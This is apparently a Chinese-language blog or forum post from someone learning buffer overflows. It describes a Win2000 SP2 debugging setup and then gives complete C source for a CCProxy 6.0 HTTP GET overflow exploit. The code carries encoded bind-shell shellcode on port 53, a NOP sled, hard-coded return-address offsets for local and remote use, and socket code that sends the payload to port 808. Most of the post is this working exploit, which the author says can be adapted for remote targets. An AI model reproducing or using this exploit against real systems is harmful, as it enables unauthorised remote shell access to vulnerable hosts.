最近废寝忘食,努力学习溢出,为了搭个好用的环境还特意重装了系统,原来win2003下的softice不好用,中断一个都拦截不到,不知道为什么.我重装了win2000,很老的版本(sp2,不要想溢出我,我装了防火墙的),虽然漏洞百出,但是主要用来调试学习 ,同样的步骤,拦截函数没有问题.

网上有段ccproxy溢出的代码好像是isno写的,我在我的机子上试了好几次都没有成功.

以下是我写的代码,只针对本机测试成功(Win2K_CN+SP2+CCProxy6.0),如果不是本机,要修改一下溢出点,好像是偏移相差两个字节.

#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"Ws2_32")
int main(int argc,char * argv[]) //参数没用上,写远程的时候可以加上
{
WSADATA ws;
SOCKET s;
char buf[5000];
int i=0;
memset(buf,0,5000);
strcpy(buf, "GET / ");

char shellcode[]= //bind port on 53
"\xeb\x10\x5b\x4b\x33\xc9\x66\xb9\x45\x01\x80\x34\x0b\xee\xe2\xfa"
"\xeb\x05\xe8\xeb\xff\xff\xff"
"\x07\x12\xee\xee\xee\xb1\x8a\x4f\xde\xee\xee\xee\x65\xae\xe2\x65"
"\x9e\xf2\x43\x65\x86\xe6\x65\x19\x84\xea\xb7\x06\x72\xee\xee\xee"
"\x0c\x17\x86\xdd\xdc\xee\xee\x86\x99\x9d\xdc\xb1\xba\x11\xf8\x7b"
"\x84\xe8\xb7\x06\x6a\xee\xee\xee\x0c\x17\x65\x2a\xdd\x27\xdd\x3c"
"\x5f\xea\x19\x1f\xc5\x0c\x6f\x02\x7e\xef\xee\xee\x65\x22\xbf\x86"
"\xec\xec\xee\xee\x11\xb8\xca\xdd\x27\xbf\x86\xec\xee\xee\xdb\x65"
"\x02\xbf\xbf\xbf\xbf\x84\xef\x84\xec\x11\xb8\xfe\x7d\x84\xfe\xbb"
"\xbd\x11\xb8\xfa\xbe\xbd\x11\xb8\xf6\x65\x12\x84\xe0\xb7\x45\x0c"
"\x13\xbe\xbe\xbd\x11\xb8\xf2\x88\x29\xaa\xca\xc2\xef\xef\x45\x45"
"\x45\x65\x3a\x86\x8d\x83\x8a\xee\x65\x02\xdd\x27\xbe\xb9\xbc\xbf"
"\xbf\xbf\x84\xef\xbf\xbf\xbb\xbf\x11\xb8\xea\x84\x11\x11\xd9\x11"
"\xb8\xe2\xbd\x11\xb8\xce\x11\xb8\xce\x11\xb8\xe6\xbf\xb8\x65\x9b"
"\xd2\x65\x9a\xc0\x96\xed\x1b\xb8\x65\x98\xce\xed\x1b\xdd\x27\xa7"
"\xaf\x43\xed\x2b\xdd\x35\xe1\x50\xfe\xd4\x38\x9a\xe6\x2f\x25\xe3"
"\xed\x34\xae\x05\x1f\xd5\xf1\x9b\x09\xb0\x65\xb0\xca\xed\x33\x88"
"\x65\xe2\xa5\x65\xb0\xf2\xed\x33\x65\xea\x65\xed\x2b\x45\xb0\xb7"
"\x2d\x06\x11\x10\x11\x11\x60\xa0\xe0\x02\x9c\x10\x5d\xf8\x01\x20"
"\x0e\x8e\x43\x37\xeb\x20\x37\xe7\x1b\x43\x4a\xf4\x9e\x29\x4a\x43"
"\xc0\x07\x0b\xa7\x68\xa7\x09\x97\x28\x97\x25\x03\x12\xd5";

strcat(buf,shellcode);

for(i=5+sizeof(shellcode); i<4056; i++) buf[i] = '\x90';

/*remote exploit use below offset //这里没有调试,跳转偏移可能有误
buf[4054]='\x12';
buf[4055]='\x45';
buf[4056]='\xfa';
buf[4057]='\x7f';
buf[4058]='\xE9';
buf[4059]='\x27';
buf[4060]='\xF0';
buf[4061]='\xFF';
buf[4062]='\xFF';
*/

//local exploit use below offset
buf[4056]='\x12';
buf[4057]='\x45';
buf[4058]='\xfa';
buf[4059]='\x7f';
buf[4060]='\x90'; //这里两个90本来是调试时候的代码
buf[4061]='\x90'; //不调试的时候改成90,系统啥都不做
buf[4062]='\xE9';
buf[4063]='\x23';
buf[4064]='\xF0';
buf[4065]='\xFF';
buf[4066]='\xFF';

strcat(buf, " HTTP/1.0\x0D\x0A\x0D\x0");

//构造字符串后，发送
//初始化wsa
WSAStartup(MAKEWORD(2,2),&ws);
//建立socket
s=WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
//连接对方808端口
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(808);
server.sin_addr.s_addr=inet_addr("127.0.0.1");
//连接！
if (connect(s,(struct sockaddr *)&server,sizeof(server) ) < 0)
{
printf("connect error");
return -1;
}
send(s, buf, sizeof(buf), 0);
printf("send OK!");
closesocket(s);
WSACleanup();

return 0;
}